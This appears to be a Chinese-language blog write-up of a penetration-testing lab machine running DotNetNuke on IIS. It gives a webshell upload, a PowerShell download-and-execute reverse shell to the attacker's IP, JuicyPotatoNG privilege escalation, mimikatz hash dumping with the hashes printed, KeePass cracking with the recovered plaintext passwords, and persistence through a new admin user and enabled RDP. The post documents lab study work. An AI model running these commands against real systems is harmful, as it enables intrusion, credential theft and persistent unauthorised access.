Challenge 2 - Relia(4)
Challenge 2 - Relia(4)
下一台攻擊的順序選定外網的 192.168.xxx.248
Rustscan，└─$ rustscan -a 192.168.158.248 --scripts none --ulimit 5000 | tee rustscan
snmp check 沒開，└─$ sudo nmap -sU -p 161 192.168.158.248 | tee snmp
nmap，└─$ sudo nmap -sCV -A -p 80,135,139,445,5985,49664,49665,49666,49667,49669,49668,49670,47001,49965 192.168.158.248 | tee nmap
80/tcp open http Microsoft IIS httpd 10.0
使用 .247 拿到的 mark 驗證與 zachary、administrator HASH 驗證看看 .248 結果都沒有用
enum4linux，└─$ enum4linux -a 192.168.158.248 | tee enum4linux
80 /robots.txt，有個 admin 的 URI
80 /admin 自動轉 Login 頁面
查了一下官網，預設的帳號密碼是 admin:dnnadmin
測試了預設的帳號密碼進不去，做了其嘗試後發現 admin:password 可以登入
且版本是 v. 09.11.00(46)
發現一個使用者帳號 emma@relia.com
要上傳 cmdasp.aspx 被拒絕，告知 *.aspx 是不允許上傳的
研究了一下 DNN，參考 : DotNetNuke (DNN) | HackTricks | HackTricks
原來可以自行修改上傳允許的副檔名，且路徑是 /Portals/0/shell.asp
依據文章指引，自行新增 aspx 到允許清單
再測試一次，可以成功上傳了
已知路徑在 /Portals/0/* ，測試看看 http://192.168.158.248/Portals/0/Templates/cmdasp.aspx
成功開啟，直接測試 whoami 也是正常執行
直接輸入 powershell.exe -ep bypass -w hidden -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.153/tools/powercat.ps1'); powercat -c 192.168.45.153 -p 4444 -e powershell"
成功拿到 Reverse Shell 了
另外一種拿 Reverse Shell 的方式是直接上傳 Reverse Shell 的 aspx 檔案
查不到 local.txt ，檢查使用者目錄發現沒有權限，看來不一定是沒有 local.txt
可能是沒有權限所有無法正常搜尋
開始 PE，whoami /priv 發現 SeImpersonatePrivilege Enabled
標準作業，上傳 nc64.exe、JuicyPotatoNG.exe
執行 .\JuicyPotatoNG.exe -t * -p nc64.exe -a "192.168.45.236 4445 -e c:\windows\system32\cmd.exe"
4445 進來了，whoami 確認是管理者，這一次再查找 local.txt 就有了，將 proof.txt 一併拿了
攻擊順序表更新如下
每一台打完後其實都有枚舉其他資訊看看，沒有找到有用的資訊就沒有另外再寫
最基本的一定是跑 mimikatz.exe 拿 HASH，以及跑 winPEASx64.exe
還有就是找找看有無詭異的檔案以及翻找 *.zip & *.kdbx
這一台 proof.txt 不放在 administrator 的桌面改放到 mark 的桌面感覺就是原廠要你特別關注
先拿 mimikatz HASH
administrator:56e4633688c0fdd57c610faf9d7ab8df
lsadump::sam 也拿到 mark 與 emma 的 HASH
- mark:666949a828be051120b17ccba8aebfbe
- emma:289953cccf62743ca4d1ed65183bd868
搜尋 *.kdbx 發現有 3 個檔案
使用 evil-winrm administrator 與 HASH 連線測試與下載檔案
└─$ evil-winrm -i 192.168.188.248 -u administrator -H 56e4633688c0fdd57c610faf9d7ab8df
keepass2john 產生 HASH 然後移除開頭的 Database:
可以參考 : https://your-it-note.blogspot.com/2023/09/blog-post_18.html
破解 HASH，└─$ hashcat -m 13400 ./keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
這時候要有一台安裝了 Keepass 軟體的 Windows 才有辦法開啟檔案
LAB2 替我們準備的 WINPREP 這時候就派上用場了
連線進去看看，└─$ xfreerdp -v:192.168.188.250 -u:offsec -p:lab -drive:dylan,/home/kali/lab2/248
下載與安裝 Keepass 然後開啟 Database 看看
可以正常開啟，並獲得密碼如下
User Name:Password
Michael321:12345
bo:Luigi=Papal1963
emma:SomersetVinyl1!
emma(OLD):HabitsAgesEnd123
sa:SAPassword_1998
USE FOR NEW DB:welcome1
測試了 emma、sa 驗證有用
已知 emma 的密碼，但 emma 不是管理者，使用指令將 emma 加到本機管理者
net localgroup "Administrators" emma /add
然後開啟 RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
再開 Firewall，netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
RDP 進去了，└─$ xfreerdp -v:192.168.188.248 -u:emma -p:'SomersetVinyl1!' -drive:dylan,/home/kali/lab2/248
上述開啟 RDP 加入 emma 是因為個人喜歡 GUI 介面，個人枚舉喜好而以
不過沒有找到進一步有用的資訊
最後更新帳號密碼表
留言
張貼留言